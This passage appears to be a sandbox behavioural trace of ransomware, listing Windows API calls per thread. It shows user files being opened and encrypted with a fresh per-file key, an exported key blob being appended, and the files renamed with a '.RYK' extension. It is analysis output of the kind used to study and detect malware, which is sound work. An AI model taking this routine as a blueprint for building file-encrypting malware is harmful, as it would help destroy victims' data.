	[0277.737] CryptEncrypt (in: hKey=0x3f7bd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x945fc20*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x945fc20*=0xf4250) returned 1
	[0277.737] CryptEncrypt (in: hKey=0x3f7bd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3c80000*, pdwDataLen=0x945fc28*=0xd07c, dwBufLen=0xf4250 | out: pbData=0x3c80000*, pdwDataLen=0x945fc28*=0xd080) returned 1
	[0277.738] SetFilePointer (in: hFile=0x7f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0277.738] WriteFile (in: hFile=0x7f0, lpBuffer=0x3c80000*, nNumberOfBytesToWrite=0xd080, lpNumberOfBytesWritten=0x945fc24, lpOverlapped=0x0 | out: lpBuffer=0x3c80000*, lpNumberOfBytesWritten=0x945fc24*=0xd080, lpOverlapped=0x0) returned 1
	[0277.738] WriteFile (in: hFile=0x7f0, lpBuffer=0x945fc50*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x945fc30, lpOverlapped=0x0 | out: lpBuffer=0x945fc50*, lpNumberOfBytesWritten=0x945fc30*=0x6, lpOverlapped=0x0) returned 1
	[0277.738] CryptExportKey (in: hKey=0x3f7bd0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x945fc40 | out: pbData=0x0*, pdwDataLen=0x945fc40*=0x10c) returned 1
	[0277.738] CryptExportKey (in: hKey=0x3f7bd0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x945fcb0, pdwDataLen=0x945fc40 | out: pbData=0x945fcb0*, pdwDataLen=0x945fc40*=0x10c) returned 1
	[0277.739] WriteFile (in: hFile=0x7f0, lpBuffer=0x945fcb0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x945fc30, lpOverlapped=0x0 | out: lpBuffer=0x945fcb0*, lpNumberOfBytesWritten=0x945fc30*=0x10c, lpOverlapped=0x0) returned 1
	[0277.739] CloseHandle (hObject=0x7f0) returned 1
	[0277.743] CryptDestroyKey (hKey=0x3f7bd0) returned 1
	[0277.743] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\ylwNSYMrPkhmeWLV4xtt.mkv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ylwnsymrpkhmewlv4xtt.mkv"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\ylwNSYMrPkhmeWLV4xtt.mkv.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ylwnsymrpkhmewlv4xtt.mkv.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3866
	os_tid = 0x41f8

	[0277.767] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\_B66Lv3zO7vtubgGITA.odt", dwFileAttributes=0x80) returned 1
	[0277.768] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\_B66Lv3zO7vtubgGITA.odt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\_b66lv3zo7vtubggita.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7f0
	[0277.768] GetFileSizeEx (in: hFile=0x7f0, lpFileSize=0xa1cfb98 | out: lpFileSize=0xa1cfb98*=64930) returned 1
	[0277.768] GetFileSizeEx (in: hFile=0x7f0, lpFileSize=0xa1cfba8 | out: lpFileSize=0xa1cfba8*=64930) returned 1
	[0277.768] SetFilePointerEx (in: hFile=0x7f0, liDistanceToMove=0xfc80, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0277.768] ReadFile (in: hFile=0x7f0, lpBuffer=0xa1cfbf0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0xa1cfb60, lpOverlapped=0x0 | out: lpBuffer=0xa1cfbf0*, lpNumberOfBytesRead=0xa1cfb60*=0x19, lpOverlapped=0x0) returned 1
	[0277.770] CloseHandle (hObject=0x7f0) returned 1
	[0277.770] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\_B66Lv3zO7vtubgGITA.odt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\_b66lv3zo7vtubggita.odt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\_B66Lv3zO7vtubgGITA.odt.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\_b66lv3zo7vtubggita.odt.ryk"), dwFlags=0x8) returned 1
	[0277.812] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\_B66Lv3zO7vtubgGITA.odt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\_b66lv3zo7vtubggita.odt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\_B66Lv3zO7vtubgGITA.odt.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\_b66lv3zo7vtubggita.odt.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3882
	os_tid = 0x4240

	[0278.032] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\index.dat", dwFileAttributes=0x80) returned 0
	[0278.032] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\content.ie5\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.032] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.032] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\content.ie5\\index.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\index.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\content.ie5\\index.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3883
	os_tid = 0x4244

	[0278.034] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\AntiPhishing\\2CEDBFBC-DBA8-43AA-B1FD-CC8E6316E3E2.dat", dwFileAttributes=0x80) returned 0
	[0278.034] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\AntiPhishing\\2CEDBFBC-DBA8-43AA-B1FD-CC8E6316E3E2.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\antiphishing\\2cedbfbc-dba8-43aa-b1fd-cc8e6316e3e2.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.034] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.034] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\AntiPhishing\\2CEDBFBC-DBA8-43AA-B1FD-CC8E6316E3E2.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\antiphishing\\2cedbfbc-dba8-43aa-b1fd-cc8e6316e3e2.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\AntiPhishing\\2CEDBFBC-DBA8-43AA-B1FD-CC8E6316E3E2.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\antiphishing\\2cedbfbc-dba8-43aa-b1fd-cc8e6316e3e2.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3884
	os_tid = 0x4248

	[0278.201] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\index.dat", dwFileAttributes=0x80) returned 0
	[0278.201] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.201] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.202] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\index.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\index.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\index.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3900
	os_tid = 0x4288

	[0278.203] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\MSIMGSIZ.DAT", dwFileAttributes=0x80) returned 1
	[0278.204] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\MSIMGSIZ.DAT" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\msimgsiz.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8bc
	[0278.204] GetFileSizeEx (in: hFile=0x8bc, lpFileSize=0x8d6f918 | out: lpFileSize=0x8d6f918*=16384) returned 1
	[0278.204] GetFileSizeEx (in: hFile=0x8bc, lpFileSize=0x8d6f928 | out: lpFileSize=0x8d6f928*=16384) returned 1
	[0278.204] SetFilePointerEx (in: hFile=0x8bc, liDistanceToMove=0x3ede, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0278.204] ReadFile (in: hFile=0x8bc, lpBuffer=0x8d6f970, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8d6f8e0, lpOverlapped=0x0 | out: lpBuffer=0x8d6f970*, lpNumberOfBytesRead=0x8d6f8e0*=0x19, lpOverlapped=0x0) returned 1
	[0278.207] SetFilePointer (in: hFile=0x8bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0278.207] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x8d6f8f8 | out: phKey=0x8d6f8f8*=0x3f7bd0) returned 1
	[0278.207] SetFilePointer (in: hFile=0x8bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0278.207] ReadFile (in: hFile=0x8bc, lpBuffer=0x2610000, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x8d6f904, lpOverlapped=0x0 | out: lpBuffer=0x2610000*, lpNumberOfBytesRead=0x8d6f904*=0x4000, lpOverlapped=0x0) returned 1
	[0278.208] CryptEncrypt (in: hKey=0x3f7bd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8d6f900*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8d6f900*=0xf4250) returned 1
	[0278.208] CryptEncrypt (in: hKey=0x3f7bd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2610000*, pdwDataLen=0x8d6f908*=0x4000, dwBufLen=0xf4250 | out: pbData=0x2610000*, pdwDataLen=0x8d6f908*=0x4010) returned 1
	[0278.208] SetFilePointer (in: hFile=0x8bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0278.208] WriteFile (in: hFile=0x8bc, lpBuffer=0x2610000*, nNumberOfBytesToWrite=0x4010, lpNumberOfBytesWritten=0x8d6f904, lpOverlapped=0x0 | out: lpBuffer=0x2610000*, lpNumberOfBytesWritten=0x8d6f904*=0x4010, lpOverlapped=0x0) returned 1
	[0278.209] WriteFile (in: hFile=0x8bc, lpBuffer=0x8d6f930*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8d6f910, lpOverlapped=0x0 | out: lpBuffer=0x8d6f930*, lpNumberOfBytesWritten=0x8d6f910*=0x6, lpOverlapped=0x0) returned 1
	[0278.209] CryptExportKey (in: hKey=0x3f7bd0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8d6f920 | out: pbData=0x0*, pdwDataLen=0x8d6f920*=0x10c) returned 1
	[0278.210] CryptExportKey (in: hKey=0x3f7bd0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x8d6f990, pdwDataLen=0x8d6f920 | out: pbData=0x8d6f990*, pdwDataLen=0x8d6f920*=0x10c) returned 1
	[0278.210] WriteFile (in: hFile=0x8bc, lpBuffer=0x8d6f990*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8d6f910, lpOverlapped=0x0 | out: lpBuffer=0x8d6f990*, lpNumberOfBytesWritten=0x8d6f910*=0x10c, lpOverlapped=0x0) returned 1
	[0278.210] CloseHandle (hObject=0x8bc) returned 1
	[0278.211] CryptDestroyKey (hKey=0x3f7bd0) returned 1
	[0278.211] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\MSIMGSIZ.DAT" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\msimgsiz.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\MSIMGSIZ.DAT.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\msimgsiz.dat.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3915
	os_tid = 0x42c4

	[0278.492] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms", dwFileAttributes=0x80) returned 0
	[0278.492] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.492] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.492] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3916
	os_tid = 0x42c8

	[0278.502] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest", dwFileAttributes=0x80) returned 0
	[0278.502] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.502] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.502] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3917
	os_tid = 0x42cc

	[0278.508] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDIPFONTCACHEV1.DAT", dwFileAttributes=0x80) returned 0
	[0278.508] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDIPFONTCACHEV1.DAT" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\gdipfontcachev1.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.508] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.508] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDIPFONTCACHEV1.DAT" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\gdipfontcachev1.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDIPFONTCACHEV1.DAT.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\gdipfontcachev1.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3918
	os_tid = 0x42d0

	[0278.515] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\index.dat", dwFileAttributes=0x80) returned 1
	[0278.516] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\history.ie5\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.516] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.516] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\history.ie5\\index.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\index.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\history.ie5\\index.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3919
	os_tid = 0x42d4

